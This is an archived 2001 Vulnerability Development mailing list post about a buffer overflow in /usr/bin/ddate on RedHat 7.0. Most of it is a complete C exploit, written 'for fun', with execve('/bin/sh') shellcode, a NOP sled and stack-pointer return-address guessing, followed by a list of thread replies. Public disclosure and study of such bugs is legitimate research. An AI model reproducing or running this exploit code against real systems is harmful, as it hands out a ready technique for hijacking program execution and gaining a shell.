Vulnerability Development mailing list archives
Re: /usr/bin/ddate buffer overflow
From: s1gnal_9 <s1gnal_9 () SUNOS COM>
Date: Mon, 12 Feb 2001 06:29:11 +0800
Even though this binary is not suid, I wrote a sample exploit for it for fun. Here it is below: The buffer is slightly larger than Slackware's ddate version by 40 bytes... so my buffer was 448 overall. /* DDate Overflow exploit for RedHat 7.0 by s1gnal_9 */ #include <stdio.h> #include <string.h> #define OFFSETS -50 /* Redhat 7.0 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } int main(int argc,char **argv) { char buf[448]; char buf2[449]; int offset; if(argc < 2) { offset = OFFSETS; } else { offset = atoi(argv[1]); } memset(buf,0x90,sizeof(buf)); memcpy(buf + sizeof(buf) - strlen(shellcode) - 8, shellcode, strlen(shellcode)); *(long *)&buf[448 - 4] = get_sp() - offset; strcpy(buf2, "+"); strcat(buf2, buf); execl("/usr/bin/ddate", "ddate", buf2, NULL); } -- _______________________________________________ Get your free email from http://sunos.com Powered by Instant Portal
Current thread:
- Re: ftp.exe buffer overflow ?, (continued)
- Re: ftp.exe buffer overflow ? Benjamin Branch (Feb 15)
- Re: ftp.exe buffer overflow ? Bob Monkier (Feb 15)
- Re: ftp.exe buffer overflow ? Ryan Permeh (Feb 16)
- Internet explorer bug or Micromedia Flash bug ? cyber_hunter (Feb 19)
- Re: ftp.exe buffer overflow ? Antti Hakulinen (Feb 15)
- Message not available
- Re: ftp.exe buffer overflow ? Lincoln Yeoh (Feb 13)
- Re: ftp.exe buffer overflow ? Lord Soth (Feb 11)
- Message not available
- Re: /usr/bin/ddate buffer overflow enthh () FLASH NET (Feb 11)
- Re: /usr/bin/ddate buffer overflow Larry W. Cashdollar (Feb 14)